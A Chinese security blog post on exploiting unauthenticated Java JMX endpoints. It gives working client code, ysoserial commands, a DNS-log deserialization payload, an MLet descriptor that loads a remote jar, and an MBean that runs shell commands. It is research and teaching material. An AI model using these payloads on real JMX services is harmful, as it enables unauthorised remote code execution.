Mbean之jmx

admin 2025年4月7日00:59:08评论0 views字数 9695阅读32分19秒阅读模式

1,简介

此篇为springboot actuator漏洞总结的后续,jmx中Mbean的利用方式和jolokia兼容。

除了jolokia之外,还有可能以其他方式调Mbean,比如使用如下语句运行springboot。

java -Dcom.sun.management.jmxremote.port=18000  -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false -jar springmybatis-0.0.1-SNAPSHOT.jar

这种情况,会在18000开启一个未授权访问的jmx端口,以rmi协议进行沟通。

常见有两种客户端,一种是jdk自带的jconsole.exe

Mbean之jmx
Mbean之jmx

一种是自写客户端

package test;import javax.management.MBeanServerConnection;import javax.management.ObjectName;import javax.management.remote.*;import java.lang.management.ManagementFactory;import java.util.Set;public class JMXClient {public static void main(String[] args) throws Exception {String serverName = "127.0.0.1";int port = 18000;JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");System.out.println("URL: " + u + ", connecting");JMXConnector c = JMXConnectorFactory.connect(u);System.out.println("Connected: " + c.getConnectionId());MBeanServerConnection m = c.getMBeanServerConnection();        ObjectName runtimeObjName = new ObjectName(ManagementFactory.RUNTIME_MXBEAN_NAME);        String javaVersion = (String) m.getAttribute(runtimeObjName, "SpecVersion");        String vmVendor = (String) m.getAttribute(runtimeObjName, "VmVendor");        String vmVersion = (String) m.getAttribute(runtimeObjName, "VmVersion");        System.out.println("JDK 版本: " + javaVersion);        System.out.println("VM Vendor: " + vmVendor);        System.out.println("VM Version: " + vmVersion);Set<ObjectName> mbeans = m.queryNames(nullnull);for (ObjectName objectName : mbeans) {System.out.println(objectName);}}}

抓包数据如下。

Mbean之jmx

2,rmi反序列化

rmi协议显然可以打rmi反序列化。

java -cp ysoserial.jar ysoserial.exploit.JRMPClient 127.0.0.1 18000 CommonsBeanutils1 calcjava -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 18000 CommonsBeanutils1 calc

但是jmx JRMPClient走的是sun.rmi.transport.DGCImpl,RMIRegistry走的是sun.management.jmxremote.SingleEntryRegistry。它们均受JEP290影响,且JEP290之后封堵的非常严格,也就是JDK>= 8u121之后无法反序列化。

Mbean之jmx
Mbean之jmx

3,Mbean

除了反序列化之外,显然还可以调Mbean,可以直接在jconsole图形化中调用。

Mbean之jmx

也可以自写客户端

String serverName = "127.0.0.1";int port = 18000;JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");System.out.println("URL: " + u + ", connecting");JMXConnector c = JMXConnectorFactory.connect(u);System.out.println("Connected: " + c.getConnectionId());MBeanServerConnection m = c.getMBeanServerConnection();        ObjectName runtimeObjName = new ObjectName(ManagementFactory.RUNTIME_MXBEAN_NAME);        String javaVersion = (String) m.getAttribute(runtimeObjName, "SpecVersion");        String vmVendor = (String) m.getAttribute(runtimeObjName, "VmVendor");        String vmVersion = (String) m.getAttribute(runtimeObjName, "VmVersion");        System.out.println("JDK 版本: " + javaVersion);        System.out.println("VM Vendor: " + vmVendor);        System.out.println("VM Version: " + vmVersion);Set<ObjectName> mbeans = m.queryNames(nullnull);for (ObjectName objectName : mbeans) {System.out.println(objectName);}String mbeanName = "";for (ObjectName objectName : mbeans) {String name = objectName.toString();if (name.contains("com.sun.management:type=DiagnosticCommand")) {mbeanName = name.split(",")[0];System.out.println(mbeanName);break;}}ObjectInstance evil = m.getObjectInstance(new ObjectName(mbeanName));Object res = m.invoke(evil.getObjectName(), "vmSystemProperties"new Object[]{},null);if (res == null) {System.out.println("Set Finished.");else {System.out.println(res);}

哪些Mbean能造成危害请参考前面的jolokia RCE。

4,Mbean参数反序列化

jmx在解析Mbean参数的时候,会使用反序列化,此时可以将任意String参数替换为序列化对象完成反序列化攻击。ysoserial有具体实现。

java -cp ysoserial.jar ysoserial.exploit.JMXInvokeMBean 127.0.0.1 18000 URLDNS http://dnslog.cn
public static void  expReadObject() throws Exception{    HashMap hashMap = new HashMap();  URL url = new URL("http://333.b890a1b9.log.dnslog.myfw.us");  Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");  f.setAccessible(true);  f.set(url, 1);  hashMap.put(url, "foo");  f.set(url, -1);        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");        Object payloadobject = hashMap;        m.invoke(mbeanName,"getParentLoggerName",new Object[]{payloadobject}, new String[]{String.class.getCanonicalName()});}

断点MarshalledObject<T>.get() line: 172

Mbean之jmx

但是由于MarshalInputStream重写了resolveClass(),会使用RMIClassLoader来加载类,因此只能打jdk自带的链比如URLDNS等,无法打第三方链。

Mbean之jmx

但是,这里就产生了一个有趣的问题,既然能打jdk自带链,能否用JRMPClient进行二次反序列化,绕过RMIClassLoader限制呢?

答案是不行,可以断点RMIClassLoader.loadClass(String, String, ClassLoader),起一个恶意JRMPListener。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsBeanutils1 calc

再把URLDNS链换成JRMPClient打18000端口的jmx。

Mbean之jmx

可以看到,经由StreamRemoteCall.executeCall()的JEP290绕过点,成功反序列化BadAttributeValueExpException和PriorityQueue,但Classloader还是ExtClassLoader,最终加载CB链的第三方类时加载失败。

Mbean之jmx

5,Mlet

和jolokia不同的是,jmx可以创建Mbean,因此可以先创建javax.management.loading.MLet,再通过Mlet#getMBeansFromURL创建恶意Mbean。

public static void  expMLet(String command) throws Exception{// step2. 加载特殊MBean:javax.management.loading.MLetObjectInstance evil_bean = null;ObjectInstance evil      = null;try {evil = m.createMBean("javax.management.loading.MLet"null);catch (javax.management.InstanceAlreadyExistsException e) {evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));}// step3:通过MLet加载远程恶意MBeanSystem.out.println("Loaded " + evil.getClassName());Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL"new Object[]{"http://127.0.0.1:81/mlet.txt"},new String[]{String.class.getName()});HashSet  res_set    = ((HashSet) res);Iterator itr        = res_set.iterator();Object   nextObject = itr.next();// 如果恶意mbean已经存在,则直接获取if (nextObject instanceof InstanceAlreadyExistsException) {//evil_bean = m.getObjectInstance(new ObjectName("MLetCompromise:name=calc,id=1"));else if (nextObject instanceof Exception) {throw ((Exception) nextObject);else {evil_bean = ((ObjectInstance) nextObject);}// step4: 执行恶意MBeanSystem.out.println("Loaded class: " + evil_bean.getClassName() + " object " + evil_bean.getObjectName());System.out.println("Calling runCommand with: " + command);Object result = m.invoke(evil_bean.getObjectName(), "exec"new Object[]{command}, new String[]{String.class.getName()});System.out.println("Result: " + result);}

mlet.txt写法如下

<html><mletcode="Calc"archive="Calc.jar"name="MLetCompromise:name=calc,id=1"codebase="http://127.0.0.1:81"></mlet></html>

Calc.jar写法如下

public interface CalcMBean {  String exec(String paramString) throws Exception;}
import java.util.Scanner;public class Calc implements CalcMBean {  public String exec(String cmd) throws Exception {    return (new Scanner(Runtime.getRuntime().exec(cmd).getInputStream())).useDelimiter("\A").next();  }}

6,注册更多Mbean 

根据Markus Wulftange的文章

https://code-white.com/blog/2023-03-jmx-exploitation-revisited/

既然可以创建Mlet,其他很多符合规则的类都可以被创建,包括老朋友TemplatesImpl。

public static void  expTemplatesImpl() throws Exception{ObjectName objectName = new ObjectName("TemplatesImpl:type=templatesImpl");try {// create TemplatesImpl (not detailed here)    FileInputStream inputFromFile = new FileInputStream("D:\Downloads\workspace\javareadobject\bin\payload\"    + "TemplatesImplCalc.class");    byte[] bs = new byte[inputFromFile.available()];        inputFromFile.read(bs);        TemplatesImpl obj = new TemplatesImpl();        Reflections.setFieldValue(obj, "_bytecodes"new byte[][]{bs});        Reflections.setFieldValue(obj, "_name""TemplatesImpl");        Reflections.setFieldValue(obj, "_tfactory"new TransformerFactoryImpl());        Reflections.setFieldValue(obj, "_transletIndex"0);// create StandardMBean on MBean server// calls `StandardMBean(T, Class<T>)` constructor with `templatesImpl` and `Templates.class`String className = StandardMBean.class.getName();String[] ctorArgTypes = new String[] { Object.class.getName(), Class.class.getName() };Object[] ctorArgs = new Object[] { obj, Templates.class };m.createMBean(className, objectName, ctorArgs, ctorArgTypes);// any of the following works// invokes getOuputProperties() indirectly via attribute getterm.getAttribute(objectName, "OutputProperties");// invoke getOutputProperties() directlym.invoke(objectName, "getOutputProperties"new Object[0], new String[0]);// invoke newTransformer() directlym.invoke(objectName, "newTransformer"new Object[0], new String[0]);finally {try {m.unregisterMBean(objectName);catch (Exception e) {}}}

或者File类。

public static void  expFile() throws Exception {ObjectName objectName = new ObjectName("File:type=File");try {// create local File objectObject file = new File("./");// get File.listFiles() methodMethod method = File.class.getMethod("listFiles"new Class[0]);// create ModelMBeanInfoModelMBeanOperationInfo[] ops = new ModelMBeanOperationInfo[] {// ModelMBean.setManagedResource(Object, String)new ModelMBeanOperationInfo("setManagedResource",ModelMBean.class.getMethod("setManagedResource",new Class[] { Object.class, String.class })),// File.listFiles()new ModelMBeanOperationInfo("listFiles", method)};ModelMBeanInfoSupport model = new ModelMBeanInfoSupport("file""file"nullnull, ops, null);// create RequiredModelMBean// calls RequiredModelMBean(ModelMBeanInfo) with modelString className = RequiredModelMBean.class.getName();String[] ctorArgTypes = new String[] { ModelMBeanInfo.class.getName() };Object[] ctorArgs = new Object[] { model };m.createMBean(className, objectName, ctorArgs, ctorArgTypes);// set the managed resource to the serializable File objectm.invoke(objectName,"setManagedResource",new Object[] { file, "objectReference" },new String[] { Object.class.getName(), String.class.getName() });// invoke listFiles() on remote File via RequiredModelMBeanFile[] files = (File[]) m.invoke(objectName, "listFiles"new Object[0], new String[0]);for (File f : files) {System.out.println(f);}finally {try {m.unregisterMBean(objectName);catch (Exception e) {}}}

其中可以注意到,创建Mbean时会传一个对象,没错,这个也是用MarshalledObject.get()反序列化传输的,同样限制了只能用jdk自带类。

原文中总结了Mbean的范围非常宽泛,几乎可以做一切操作,所以这个才是最终解。

Mbean之jmx

7,beanshooter

https://github.com/qtc-de/beanshooter

这个工具集成了几乎所有的jmx利用方法。

原文始发于微信公众号(珂技知识分享):Mbean之jmx

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月7日00:59:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Mbean之jmxhttps://cn-sec.com/archives/3913275.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息